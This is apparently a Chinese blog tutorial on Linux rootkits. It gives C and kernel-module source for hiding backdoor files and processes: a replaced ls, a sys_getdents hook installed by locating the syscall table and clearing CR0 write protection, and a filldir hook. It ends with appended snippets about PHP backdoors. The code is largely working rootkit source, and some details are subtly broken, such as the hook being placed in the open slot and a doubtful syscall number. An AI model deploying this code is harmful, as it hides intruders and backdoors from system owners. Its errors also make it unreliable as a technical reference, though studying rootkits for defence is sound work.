文章目录

  • 简介
  • linux虚拟文件系统VFS
  • Rootkit的功能
  • 实现原理
  • 应用:隐藏文件
    • 基本方法
    • 高级方法
    • 系统调用流程
    • hook sys_getdents
    • sys_getdents的调用树
    • 最底层的方法
  • 隐藏进程
  • 日志修改

简介

Rootkit是一套工具,用于长期获取root权限以及隐藏自己和后门程序。攻击者通过漏洞临时获得root权限后,一般会安装后门和rootkit,以便长期获取权限、收集信息。

linux虚拟文件系统VFS

虚拟文件系统(Virtual File System, 简称 VFS), 是 Linux 内核中的一个软件层。文件,目录、字符设备、块设备、 套接字等在 Unix/Linux 中都是以文件被对待,用户通过libc与kernel的VFS交互。
向上,VFS给用户空间的程序提供彼岸准的文件操作接口;
向下,VFS给不同文件系统提供标准的接口。系统中不同的文件系统依赖 VFS 提供的接口共存、 协同工作。

Rootkit的功能

  • 获取权限(链接)
  • 防止受保护的文件被拷贝
  • 隐藏后门程序
  • 隐藏后门进程
  • 清理日志

实现原理

核心思想:替换核心组件 。
基本方法:替换相应的程序,如把cp、ls、ps、log等替换为自己编写的程序,产生隐藏的效果。
缺点:有经验的管理员可以通过对原始ls.c签名,或自己写纯净版ls.c,与嫌疑ls.c的效果进行比对。
高级方法:替换相应程序的系统调用,甚至更底层的函数调用。

下面以隐藏文件为例,介绍如何实现rootkit。

应用:隐藏文件

基本方法

hook ls :修改ls命令的显示内容
ls调用opendir()和readdir(),头文件dirent.h
把ls.c替换为myls.c.ls,调用readdir()过程中,当发现backdoor name时,不输出。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
int main(int argc, char *argv[])
{DIR *dp;struct dirent *dirp;if (argc != 2){printf("usage: ls directory_name\n");exit(1);}if ((dp = opendir(argv[1])) == NULL){printf("can't open %s\n", argv[1]);exit(1);}while ((dirp = readdir(dp)) != NULL){if(strcmp(dirp->d_name,"test.txt")!=0)printf("%s\n", dirp->d_name);}closedir(dp);return 0;
}

上述攻击如何避免?
对原始ls.c签名,或自己写纯净版ls.c,与嫌疑ls.c的效果进行比对。

高级方法

HOOK系统调用sys_getdents
道高一尺魔高一丈,readdir()会调用sys_getdents,攻击者可以hook readdir(),或底层的sys_getdents,乃至更底层的ext_readdir中的fillter。

目录的数据结构,getdents的返回就是由若干个这种结构组成的缓冲区

    struct linux_dirent {unsigned long   d_ino;unsigned long   d_off;unsigned short  d_reclen;char                d_name[1];};

系统调用流程

系统调用的头文件 <unistd.h>,以ls->readdir->sys_getdents的系统调用为例

  • int $0x80指令(系统调用,软中断,128号中断),从用户态切换到内核态
    64位OS产生系统调用不需要中断,它直接用sysenter进行syscall,并把SCT地址存到MSR
  • 查中断向量表IDT,找到128号指向的系统调用处理程序system_call()
  • 系统调用处理函数 调用 系统调用服务例程,call call_number。根据sys_getdents的系统调用号1065,查系统调用表SCT得到sys_getdents

hook sys_getdents

  • 找到IDT的地址,idt_base
  • 根据idt_base和偏移(0x80 * 8) 找到syscall处理函数的地址
  • 根据call命令的反汇编编码找到SCT表的地址(该地址会在加载内核后形成,不是固定的)
  • hook,重定向调用函数

64位OS中查找SCT地址的代码

void *  get_lstar_sct_addr(void)
{u64 lstar;u64 index;//get the sys_call handler addressrdmsrl(MSR_LSTAR, lstar);//search for \xff\x14\xc5,for (index = 0; index <= PAGE_SIZE; index += 1) {u8 *arr = (u8 *)lstar + index;if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {return arr + 3;}}return NULL;
}
unsigned long **get_lstar_sct(void)
{unsigned long *lstar_sct_addr = get_lstar_sct_addr();if (lstar_sct_addr != NULL) {u64 base = 0xffffffff00000000;u32 code = *(u32 *)lstar_sct_addr;return (void *)(base | code);} else {return NULL;}
}

也可以直接查找获取SCT表的地址

得到SCT表地址后进行调用函数的重定向

struct linux_dirent{unsigned long     d_ino;unsigned long     d_off;unsigned short    d_reclen;char    d_name[1];
};
static unsigned long ** sys_call_table;
long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,unsigned int count);
/*
asmlinkage int my_open(const char*file,int flags, int mode){printk("A file was opened!\n");return original_open(file,flags,mode);//返回原始的调用函数
}
*/
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,unsigned int count){struct linux_dirent *kdirp,*kdirp2;long value,tlen;long len = 0;value = (*old_getdents) (fd, dirp, count);tlen = value;//注意,这里不能直接使用用户空间的dirp,而是要把它copy到内核空间的kdirpkdirp = (struct linux_dirent *) kmalloc(tlen, GFP_KERNEL);kdirp2 = kdirp;copy_from_user(kdirp, dirp, tlen);while(tlen > 0){len = kdirp->d_reclen;tlen = tlen - len;if(strstr(kdirp->d_name,"backdoor") != NULL){printk("find file\n");//后面的dirent结构前移覆盖要隐藏的direntmemmove(kdirp, (char *) kdirp + kdirp->d_reclen, tlen);value = value - len;printk(KERN_INFO "hide successful.\n");}else if(tlen) kdirp = (struct linux_dirent *) ((char *)kdirp + kdirp->d_reclen);}copy_to_user(dirp, kdirp2, value);//注意把经过调整的kdirp还给dirp//printk(KERN_INFO "finished hacked_getdents.\n");kfree(kdirp2);return value;
}
static int filter_init(void)
{//sys_call_table = 0xffffffff81a00200;sys_call_table = get_lstar_sct();old_getdents = (void *)sys_call_table[__NR_getdents];//保留原始调用函数disable_write_protection();//关闭写保护sys_call_table[__NR_open] = (unsigned long *)&my_getdents;重定向调用函数enable_write_protection();//打开写保护return 0;
}
static void filter_exit(void)
{//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);disable_write_protection();sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;enable_write_protection();//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);//printk(KERN_INFO "hideps: module removed\n");
}
void disable_write_protection(void)
{unsigned long cr0 = read_cr0();clear_bit(16, &cr0);write_cr0(cr0);
}
void enable_write_protection(void)
{unsigned long cr0 = read_cr0();set_bit(16, &cr0);write_cr0(cr0);
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);

my_getdents原理
假设文件夹内有4个子文件,编号0-3,用4个连续的dirent结构存储,要隐藏的文件编号为2
当sys_getdents读取到dirent.name = backdoor时,舍去此dirent,后面的dirent前移覆盖

如何防范
打印SCT表会发现异常地址,指向用户区地址my_getdent

sys_getdents的调用树

sys_getdents-> iterate_dir-> struct file_operations 里的iterate->… -> struct dir_context 里的actor(mostly filldir)
详细分析,如下:
sys_getdents主要调用了iterate_dir

    SYSCALL_DEFINE3(getdents, unsigned int, fd,struct linux_dirent __user *, dirent, unsigned int, count){struct fd f;struct linux_dirent __user * lastdirent;struct getdents_callback buf = {.ctx.actor = filldir,.count = count,.current_dir = dirent};int error;if (!access_ok(VERIFY_WRITE, dirent, count))return -EFAULT;f = fdget(fd);if (!f.file)return -EBADF;error = iterate_dir(f.file, &buf.ctx);hereif (error >= 0)error = buf.error;lastdirent = buf.previous;if (lastdirent) {if (put_user(buf.ctx.pos, &lastdirent->d_off))error = -EFAULT;elseerror = count - buf.count;}fdput(f);return error;}

iterate_dir调用file_operations里面的iterate函数

struct dir_context {const filldir_t actor;loff_t pos;
};
int iterate_dir(struct file *file, struct dir_context *ctx)
{struct inode *inode = file_inode(file);int res = -ENOTDIR;if (!file->f_op->iterate)goto out;res = security_file_permission(file, MAY_READ);if (res)goto out;res = mutex_lock_killable(&inode->i_mutex);if (res)goto out;res = -ENOENT;if (!IS_DEADDIR(inode)) {ctx->pos = file->f_pos;res = file->f_op->iterate(file, ctx);/herefile->f_pos = ctx->pos;file_accessed(file);}mutex_unlock(&inode->i_mutex);
out:return res;
}
EXPORT_SYMBOL(iterate_dir);

vfs的file_operations

const struct file_operations ext4_dir_operations = {.llseek         = ext4_dir_llseek,.read           = generic_read_dir,.iterate        = ext4_readdir,///here.unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT.compat_ioctl   = ext4_compat_ioctl,
#endif.fsync          = ext4_sync_file,.release        = ext4_release_dir,
};

ext4_readdir -> readdir(file, buf, filler), 调用了ext4_dir_operations函数集中的readdir()函数。

ext4_readdir最终通过filldir把目录里面的项目填到getdents返回的缓冲区里,缓冲区里是若干个linux_dirent结构。

在readdir函数中比较重要的是filler部分,类型是filldir_t(linux/fs.h),它的作用是用dirent中的各项数据填充用户区的buffer。

typedef  int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);

Filler的代码示例,其中__put_user是将内容写入用户空间。

    dirent = buf->previous;if (dirent) {if (__put_user(offset, &dirent->d_off))goto efault;}dirent = buf->current_dir;if (__put_user(d_ino, &dirent->d_ino))goto efault;if (__put_user(reclen, &dirent->d_reclen))goto efault;if (copy_to_user(dirent->d_name, name, namlen))goto efault;if (__put_user(0, dirent->d_name + namlen))goto efault;if (__put_user(d_type, (char __user *) dirent + reclen - 1))goto efault;

最底层的方法

hooking filldir,在hooking function中去掉我们需要隐藏的文件记录,不填到缓冲区,这样ls就收不到相应的记录.

具体思路是hooking相应目录的iterate,把dir_context的actor改为fake_filldir, 把后门文件过滤。

    int fake_filldir(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned d_type){if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {printk("Hiding: %s", name);return 0;}return real_filldir(ctx, name, namlen, offset, ino, d_type);}

隐藏进程

源代码:rootkit_ps.c
原理和隐藏文件相似。
ps命令会对/proc目录进行ls,/proc目录中存的都是以“进程号”命名的文件,对应的“进程名”存放在在/proc/进程号/status中,第一行就是进程名。
假设要隐藏的进程为backdoor,则需要在ls调用getdents时重定向到自己的处理程序my_getdents(),该函数的作用是根据对目录下各个子目录结构体的name,即进程号,找到/proc/进程号/status,提取其中的进程名,如果进程名是backdoor,则忽略该目录结构体。

日志修改

待更新。

参考:
https://zhuanlan.zhihu.com/p/61988212
《UNIX环境高级编程》
https://blog.csdn.net/bw_yyziq/article/details/78448667?tdsourcetag=s_pcqq_aiomsg
https://blog.csdn.net/lingfong_cool/article/details/8032328

Rootkit与后门隐藏相关推荐

  1. php常见后门,php后门隐藏技巧大全

    1. attrib +s +h 创建系统隐藏文件: attrib +s +a +r +h attrib +s +h 文件名 在 Windows 10下即使开启了显示隐藏的项目,或dir仍然看不见. 2 ...

  2. python基于socket进行端口转发实现后门隐藏

    python基于socket进行端口转发实现后门隐藏 思想: 用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行.否则转发到8888端口执行系统命令. ...

  3. php后门隐藏与维持技巧,PHP后门隐藏与维持技巧,php后门技巧_PHP教程

    PHP后门隐藏与维持技巧,php后门技巧 在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后 ...

  4. PHP后门隐藏与维持技巧

    0x00前言 在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. 以 ...

  5. php后门隐藏与维持技巧,PHP后门隐藏与维持技巧_PHP

    0×00前言 在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. 以 ...

  6. web后门隐藏与检测思路

    跟我一起念后门口诀:挑.改.藏.隐 来个例子先,例一: 只因为在目录里多瞅了一眼,只一眼,就认出了你.为什么你是那么的出众? 可疑点:文件名.时间.大小.(有点经验的人能很快发现这些上传的***文件) ...

  7. windows常见后门隐藏和权限维持方法及排查技术

    https://xz.aliyun.com/t/4842 这片文章中隐藏webshell我觉得很nice ... 进程注入以前试过 ... wmi 和 bitsadmin 可以了解下 ... 常见ba ...

  8. 渗透测试模拟实战——暴力破解、留后门隐藏账户与shift粘贴键后门、植入WaKuang程序(靶机系统:Windows2008)

    本次实验主要是为了应急响应打基础,从攻击者的角度出发,知己知彼,百战不殆 一.环境搭建 靶机: Windwos Server 2008 系统 靶机IP地址: 192.168.226.137 攻击IP地 ...

  9. linux隐藏文件导出,看我如何通过Linux Rootkit实现文件隐藏

    预估稿费:180RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 前言 一直以来,我希望能深入了解Linux内核内部是如何工作的.为实现这一点,有一个比较好的思路是写一个小 ...

最新文章

  1. 决策树学习算法 - ID3算法
  2. python编码转换语句_好程序员Python教程之字符串编码知识小结
  3. 旋转数组(右旋转,js实现,unshift,splicec实现)
  4. java多线程的同步控制_Java多线程并发控制工具信号量Semaphore,实现原理及案例...
  5. 警告: [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property ..
  6. 最新!全球学术排名出炉:21 所中国大学位居世界 100 强
  7. Atitit. servlet 与 IHttpHandler  ashx  listen 和HttpModule的区别与联系 原理理论 架构设计   实现机制    java php c#.net j
  8. 10分钟了解Activity工作流
  9. Smart 200PLC PC Access SMART OPC通信
  10. (二)C语言开发工具
  11. 2020-12-18
  12. nginx反向代理实践:将某个指定的域名代理到指定的服务
  13. 路由器配置 校园网账号独立登录 DHCP关闭
  14. 四大新品齐发:荣耀打造无缝智慧全场景生态
  15. 如何通过Java导出带格式的 Excel 数据到 Word 表格
  16. 【SSH框架】--Hibernate入门
  17. 平面设计中关于构图技巧的那些事儿
  18. 3个小技巧,轻松提高抖音视频的播放量
  19. Fabric的Raft共识机制
  20. 物理|北大大佬分享物理学习经验

热门文章

  1. django第三方模块重置密码
  2. AppData\Local\Unity\cache占用C盘空间,Windows10系统重设缓存路径方法
  3. 新品标题优化,标题精准引流,如何优化标题
  4. Ptrace调试ARM架构多线程
  5. Linux ptrace 原理,安卓|使用ptrace绕过ptrace反调试(一)
  6. std::string::npos是什么
  7. 水墨飘香 国画徜徉——安利公益基金会之国画学习顺利开展
  8. 微信JS-SDK说明文档---自己总结了config时的参数获取方式
  9. 广西男子酒驾冲撞宵夜摊多人受伤 民众自发抬车救人
  10. ChatGPT在Web3.0的应用:如何探索去中心化AI的新领域?